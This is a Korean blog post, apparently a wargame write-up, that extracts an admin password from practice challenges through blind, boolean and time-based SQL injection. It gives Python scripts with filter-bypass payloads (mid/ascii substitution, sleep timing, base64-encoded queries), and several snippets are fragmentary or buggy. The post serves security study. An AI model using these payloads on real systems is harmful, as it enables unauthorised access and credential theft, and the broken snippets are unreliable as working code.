티스토리 뷰
Blind sql injection (쿼리의 참/거짓 동작)
time based injection
selenium package(python)
chall11
admin계정의 pw 값을 알아내야 함.
앞서 chall10에서 substr함수를 이용하여 pw의 값을 알아내었던 것과 비슷한 방식으로 시도해 볼 수 있음.
<Blind injection> : 쿼리의 입력에 대한 참, 거짓 반응을 통하여 공격 수행
substr함수를 이용하기에 앞서 length 함수를 이용하여 pw 값의 길이를 구해 보면,
위와 같이 length 값을 구했으므로, 다음과 같은 python 코드를 작성할 수 있다.
for l in range(1,length):
for c in range(33,127):
pw="' or substr(pw,"+l+",1)='"+chr(c)
response=requests.get(url,params={'id':'admin','pw':pw},cookies=cookies).text
if 'Good J0b :)' in response:
print(i+" ")
if 'N0p3..' in response:
pass
if 'Nope !!' in response:
pass
else:
pass
chall12
# 문자가 사용되어 있는 것을 확인할 수 있음. (?)
id input 부분을 이용하여 length 값을 얻어 보면
앞서 사용했던 방법과 같은 방식으로 코드를 작성하여 결과 값 얻을 수 있음.
chall13
substr 함수가 필터링되어 있는 것을 볼 수 있음
mid, left, right 함수로 우회하여 사용이 가능하다.
for len in range(1,length):
for i in range(33,127):
pw="' or mid(pw,{},1)={};%00".format(len,str(i))
response=requests.get(url,params={'pw':pw},cookies=cookies).text
if 'Good J0b :)' in response:
//문자열 처리..
chall14
필터링우회..
등호가 필터링되었기 떄문에 > 문자를 이용한 비교를 통하여 값을 얻었다.
따라서
문자열 - (substr) -> 문자 -(ascii/ord)-> 숫자
아스키 값 범위 (33,127) 에 대하여 다음과 같은 비교를 이용할 수 있다
for len in range(1,9):
for c in range(33,127):
param="ad'+'min' and ascii(substr(pw,{},1)) >{};%00"
response=requests.get(url,params={'id':param},cookiese=cookies).text
if :
//pwstring 계산
기존에 사용했던 방식) <참고>
bin : 숫자를 2진법 형태의 "string"으로 변환
(66 -> "1000010")
lpad : 글자수를 맞춰주며, 모자른 부분은 특정 스트링으로 채워주는 함수 (left padding)
( lpad("66",8,0) -> "01000010" )
위의 함수를 이용하여
문자열 - (substr) -> 문자 -(ascii/ord)-> 숫자 -(bin)-> 2진법 수 -(lpad)-> 일정한 길이의 string -(substring)-> 2진법 수
로 변환한 후, 값의 비교를 통하여 문자열을 얻을 수 있다.
for len in range(1,length+1):
binary=''
for bin_len in range(1,8):
param="ad'+'min' and substr(lpad(bin(ascii(substr(pw,{},1))),7,0),{},1) >0;%00"
//문자열 처리
하지만 함수 적용 방식이 복잡하며, 위의 반복문을 여러 번 시행해야 하거나 3중 반복문을 사용해야 함.
chall16
substr, mid, left가 필터링되었으므로 사용이 불가능하다.
sleep 키워드 또한 필터링되어 있지만,
이를 이용하여 time based injection 공격이 가능하다.
(입력한 query가 실행되는 mysql_query() 부분이 필터링이 이루어지는 preg_match() 부분보다 먼저 진행되기 때문!!)
따라서 time injection을 사용한 스크립트를 작성하여 보면
length
for lengh in range(1,10):
param="?pw=' || if(id='admin' and length(pw)={},sleep(10),1);%00".format(length)
response=requests.get(url+param,cookies=cookies).text
if time.time()-starting> 10.0:
//pw_length
pwstring 또한 같은 방식으로 구할 수 있다.
chall18
똑같이 admin 아이디로 로그인해야 함.
하지만 필터링 리스트들을 알 수 없기 때문에 위와 같이 직접 시도해가면서 필터링 리스트를 예측, 우회해야 함.
or, substr 키워드 등이 필터링되어 있어 이를 우외하여 다음과 같이 스크립트를 작성하였음.
<ascii, mid>
pw_string=""
for idx in range(1,pw_length+1):
for k in range(33,128):
data={'id':'admin','pw':"' || ascii(mid(pw,{},1))={}#".format(idx,k)}
response=requests.post(url,data=data,headers=headers).text
if 'hello admin' in response:
pw_string+=chr(k)
break
chall19
filter 문자를 복호화하면, (base64)
_, procedure, select, union
위와 같은 키워드들이 필터링됨을 예상할 수 있다.
또한 url http://crackus.jeju.kr/chall19.php?id=Z3Vlc3Q= 에서 parameter 값 또한 base64로 넘기는 것을 파악할 수 있고, 이를 이용하여 다음과 같은 코드를 작성한다.
st_length=0
//length
for length in range(1,20):
starting=time.time()
s=("' || if(length(pw)={},sleep(10),1)#".format(length))
b=s.encode('utf-8')
e=base64.b64encode(b)
_string=e.decode('utf-8')
driver.get(url+"?id="+(_string))
if time.time()-starting> 10.0:
st_length=length
break
//pwstring
//sleep()
pw_string=''
for idx in range(1,st_length+1):
for k in range(33,129):
starting=time.time()
s=("' || if(ascii(substr(pw,{},1))={},sleep(10),1)#".format(idx,k))
b=s.encode('utf-8')
e=base64.b64encode(b)
_string=e.decode('utf-8')
driver.get(url+"?id="+_string)
if time.time()-starting>10.0:
pw_string+=chr(k)
break
삽입하는 쿼리를 암호화하기 위하여
b=s.encode('utf-8')
e=base64.b64encode(b)
_string=e.decode('utf-8')
위의 코드를 작성하였다.
(base64로 암호화하기 위하여 문자열을 bytes 형태로 변환하여야 한다.
따라서 utf-8로 인코딩이 요구된다.)
++
requests 라이브러리가 아닌 selenium 라이브러리를 사용하여 결과 값을 구할 수도 있다.
'hacking > WEB hacking' 카테고리의 다른 글
wise saying (0) | 2021.08.19 |
---|---|
tomcat manager (0) | 2021.08.18 |
OTP(One Time Password) (0) | 2021.08.04 |
chall06-10 (0) | 2021.08.01 |
SuperSecure OTP (0) | 2021.07.27 |
- Total
- Today
- Yesterday
- 분할 정복
- 동적계획법
- 참조 지역성
- 배낭 문제
- LowerBound
- MaxHeap
- dfs
- Sort
- 최단 거리
- 누적 합
- 위상 정렬
- 완전탐색
- 이분탐색
- 부분 합
- Knapsack
- 백트래킹
- Priority Queue
- HashSet
- 희소 배열
- MinHeap
- 분할정복
- 구간 합
- 페르마의 정리
- RequiredArgsConstructor
- 완전 탐색
- Segment Tree
- Greedy
- 비트마스킹
- dp
- prirotyqueue
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |